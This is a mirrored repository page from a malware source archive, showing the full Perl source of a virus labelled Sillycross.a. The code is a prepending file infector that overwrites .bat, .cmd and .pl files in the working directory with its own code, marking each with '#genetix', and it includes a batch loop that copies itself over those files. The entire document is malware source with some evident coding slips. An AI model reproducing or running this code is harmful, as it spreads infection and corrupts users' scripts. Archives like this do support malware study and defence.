13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00
vxug-MalwareSourceCode/Perl/Virus.Perl.Sillycross.a
2020-10-09 21:59:39 -05:00

35 lines
641 B
Plaintext

#genetix
#*.bat *.cmd *.pl crossinfector prepender
$TheCode = __FILE__;
$batpart = "
for %%a in (*.bat *.cmd *.pl) do copy %0 %%a
";
my @Vcode = ();
open(Host, $TheCode);
@Vcode = <Host>;
while(<Host>) {
$. > 36 ? last : push @Vcode,$_;
}
close(Host);
while (<*.bat *.cmd *.pl>) {
$Victim = $_;
my @VicCode = ();
open(Target, $Victim);
@VicCode = <Host>;
while(<Target>) {
$. > 36 ? last : push @VicCode,$_;
}
close(Target);
if (@VicCode[1] !~ "#genetix") {
open(Target, ">$Victim");
print Target @Vcode,@VicCode;
close(Target);
}
}